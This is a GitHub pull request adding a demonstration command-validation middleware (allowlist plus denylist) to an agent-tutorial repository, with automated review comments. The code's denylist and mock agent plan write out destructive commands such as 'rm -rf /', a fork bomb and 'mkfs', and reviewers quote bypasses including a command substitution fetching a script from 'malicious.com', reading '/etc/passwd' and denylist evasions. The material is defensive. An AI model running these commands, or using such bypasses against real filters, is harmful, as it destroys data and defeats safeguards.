Skip to content

feat(security): add v5_secure_agent with command middleware#31

Open
Protocol-zero-0 wants to merge 1 commit intoshareAI-lab:mainfrom
Protocol-zero-0:main
Open

feat(security): add v5_secure_agent with command middleware#31
Protocol-zero-0 wants to merge 1 commit intoshareAI-lab:mainfrom
Protocol-zero-0:main

Conversation

@Protocol-zero-0
Copy link

Description

Implements the security module proposed in #25.

Features

  1. CommandMiddleware: Intercepts bash calls to validate against Allowlist/Denylist.
  2. Denylist: Blocks dangerous patterns (e.g. rm -rf /, mkfs).
  3. Safe Defaults: Defaults to secure mode, requires explicit override.

Usage

middleware = CommandMiddleware(unsafe_mode=False)
if middleware.validate(cmd):
    execute(cmd)

Closes #25

Copilot AI review requested due to automatic review settings February 22, 2026 21:46
@vercel
Copy link

vercel bot commented Feb 22, 2026

@Protocol-zero-0 is attempting to deploy a commit to the crazyboym's projects Team on Vercel.

A member of the Team first needs to authorize it.

Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR introduces a security-focused agent module that implements command validation middleware to intercept and filter bash commands before execution. The implementation aims to address security concerns raised in issue #25 by providing a defense-in-depth approach with both allowlist (for safe commands) and denylist (for dangerous patterns) validation.

Changes:

  • Adds CommandMiddleware class with dual-layer validation (denylist + allowlist)
  • Implements safe-by-default behavior requiring explicit unsafe_mode override
  • Provides demonstration of command interception pattern with mock agent loop

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +1 to +5
import json
import os
from datetime import datetime
from typing import Dict, Any, List, Optional

Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Following the established convention in this codebase, all session files include a comprehensive docstring header that explains the purpose, pattern, and provides an ASCII diagram. See s01_agent_loop.py, s02_tool_use.py, and s05_skill_loading.py for examples. This file should include a similar header explaining the security middleware pattern, its purpose in the learning path, and a diagram showing the validation flow.

Copilot uses AI. Check for mistakes.
from typing import Dict, Any, List, Optional

# --- Configuration & Safety ---
# Allowlist for safe commands (exact matches or safe prefixes)
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment on line 7 states "exact matches or safe prefixes" but the implementation on line 37 only checks exact matches of the base command (cmd_base not in SAFE_COMMANDS). There's no prefix matching logic. Either update the comment to accurately reflect the implementation, or implement prefix matching if that was the intended behavior.

Suggested change
# Allowlist for safe commands (exact matches or safe prefixes)
# Allowlist for safe commands (exact matches for base commands)

Copilot uses AI. Check for mistakes.
TOOLS = [
{
"name": "bash",
"description": "Execute a safe bash command (sandboxed)",
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The tool description says "Execute a safe bash command (sandboxed)" but there's no actual sandboxing implementation. The middleware only validates commands but doesn't provide process isolation, filesystem jails, network restrictions, or other sandboxing features. The description is misleading. Either implement actual sandboxing (e.g., using containers, chroot, or restricted execution environments) or update the description to accurately reflect that this is command validation/filtering, not sandboxing.

Suggested change
"description": "Execute a safe bash command (sandboxed)",
"description": "Execute a bash command with basic safety validation (no OS-level sandboxing)",

Copilot uses AI. Check for mistakes.
@@ -0,0 +1,87 @@
import json
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Following the established convention, all agent session files in this codebase start with a shebang line (#!/usr/bin/env python3). This allows the files to be executed directly. Add the shebang line as the first line of the file.

Copilot uses AI. Check for mistakes.
Comment on lines +8 to +10
SAFE_COMMANDS = {
"ls", "cat", "echo", "mkdir", "touch", "grep", "find", "pwd", "whoami"
}
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Commands like "cat", "mkdir", "touch", and "grep" accept file paths as arguments. The validation doesn't check for path traversal attacks (e.g., "cat ../../../../etc/passwd" or "mkdir /tmp/malicious"). While the existing s02_tool_use.py uses a safe_path() function to validate paths for file operations, this middleware doesn't implement similar protections for bash commands that accept file paths. Consider adding path validation or restricting file paths to a workspace directory as proposed in issue #25's "Read-Only Mode" feature.

Copilot uses AI. Check for mistakes.
Comment on lines +23 to +41
def validate(self, command: str) -> bool:
"""Returns True if command is safe to execute."""
if self.unsafe_mode:
return True

cmd_base = command.split()[0]

# Check denylist first
for pattern in DENY_PATTERNS:
if pattern in command:
print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'")
return False

# Check allowlist (simple heuristic)
if cmd_base not in SAFE_COMMANDS:
print(f"⚠️ BLOCKED: Command '{cmd_base}' not in allowlist. Use --unsafe to override.")
return False

return True
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The validation doesn't check for command substitution attacks using backticks or $() syntax. An attacker could bypass the allowlist with commands like "echo rm -rf /" or "echo $(wget malicious.com/script.sh)". These would pass validation because "echo" is in SAFE_COMMANDS, but the substituted commands would execute without validation. Add checks to detect and block command substitution patterns.

Copilot uses AI. Check for mistakes.
Comment on lines +1 to +87
import json
import os
from datetime import datetime
from typing import Dict, Any, List, Optional

# --- Configuration & Safety ---
# Allowlist for safe commands (exact matches or safe prefixes)
SAFE_COMMANDS = {
"ls", "cat", "echo", "mkdir", "touch", "grep", "find", "pwd", "whoami"
}

# Denylist for dangerous patterns (even if command is allowed)
DENY_PATTERNS = [
"rm -rf /", "mkfs", "dd if=", ":(){:|:&};:", "wget", "curl", "chmod 777"
]

class CommandMiddleware:
"""Intercepts and validates commands before execution."""

def __init__(self, unsafe_mode: bool = False):
self.unsafe_mode = unsafe_mode

def validate(self, command: str) -> bool:
"""Returns True if command is safe to execute."""
if self.unsafe_mode:
return True

cmd_base = command.split()[0]

# Check denylist first
for pattern in DENY_PATTERNS:
if pattern in command:
print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'")
return False

# Check allowlist (simple heuristic)
if cmd_base not in SAFE_COMMANDS:
print(f"⚠️ BLOCKED: Command '{cmd_base}' not in allowlist. Use --unsafe to override.")
return False

return True

# --- Tool Definitions ---
TOOLS = [
{
"name": "bash",
"description": "Execute a safe bash command (sandboxed)",
"input_schema": {
"type": "object",
"properties": {
"command": {"type": "string", "description": "The command to run"}
},
"required": ["command"]
}
}
]

# Initialize Middleware
middleware = CommandMiddleware(unsafe_mode=False)

# --- Mock Agent Loop (Simplified) ---
def run_agent(task: str):
print(f"🤖 Agent starting task: {task}")

# Mocking LLM Output for demonstration
# In a real scenario, this comes from the model
mock_plan = [
{"tool": "bash", "args": {"command": "ls -la"}},
{"tool": "bash", "args": {"command": "rm -rf /"}} # Malicious attempt
]

for step in mock_plan:
tool_name = step["tool"]
args = step["args"]

if tool_name == "bash":
cmd = args["command"]
print(f"\n> Attempting: {cmd}")

if middleware.validate(cmd):
print(f"✅ Executing: {cmd}")
# os.system(cmd) # Executing safe command
else:
print("❌ Execution Blocked by Middleware")

if __name__ == "__main__":
run_agent("List files and try to destroy system")
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Issue #25 proposed three features: (1) Command Middleware, (2) Read-Only Mode to disable write/edit tools or restrict them to a workspace directory, and (3) Human-in-the-Loop pattern for escalating high-risk actions. This PR only implements the Command Middleware feature. The PR description states it "implements the security module proposed in #25" but doesn't mention that features 2 and 3 are not included. Consider updating the PR description to clarify that this is a partial implementation focusing on command validation, or implement the remaining features to fully address the proposal.

Copilot uses AI. Check for mistakes.

if middleware.validate(cmd):
print(f"✅ Executing: {cmd}")
# os.system(cmd) # Executing safe command
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The actual command execution is commented out on line 82, making this a demonstration-only implementation that doesn't actually execute validated commands. While this is appropriate for a learning example, it should be clearly documented in the file's header docstring that this is a demonstration/proof-of-concept rather than a production-ready implementation. Also note that if uncommented, os.system() is less secure than subprocess.run() used in other agent files (see s01_agent_loop.py:57), as it doesn't provide timeout protection or output capture.

Copilot uses AI. Check for mistakes.
Comment on lines +27 to +28

cmd_base = command.split()[0]
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The command parsing on line 28 will raise an IndexError if the command string is empty or contains only whitespace. An attacker could bypass validation by providing an empty command string, or the function could crash. Add a check for empty/whitespace-only commands before calling split().

Suggested change
cmd_base = command.split()[0]
stripped_command = command.strip()
if not stripped_command:
print("⚠️ BLOCKED: Empty or whitespace-only command.")
return False
cmd_base = stripped_command.split()[0]

Copilot uses AI. Check for mistakes.
Comment on lines +30 to +34
# Check denylist first
for pattern in DENY_PATTERNS:
if pattern in command:
print(f"🚫 BLOCKED: Dangerous pattern detected: '{pattern}'")
return False
Copy link

Copilot AI Feb 22, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The denylist patterns can be easily bypassed with variations. For example, "rm -rf /" is blocked but "rm -rf/" (no space), "rm -r -f /", or "rm --recursive --force /" are not. Similarly, "dd if=" is blocked but "dd if =" or "dd of=/dev/sda" are not. Security denylists should be comprehensive and account for common variations, or better yet, use a more robust validation approach that doesn't rely solely on pattern matching.

Copilot uses AI. Check for mistakes.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Proposal] v5_secure_agent: Implementing Sandboxing & Command Middleware

2 participants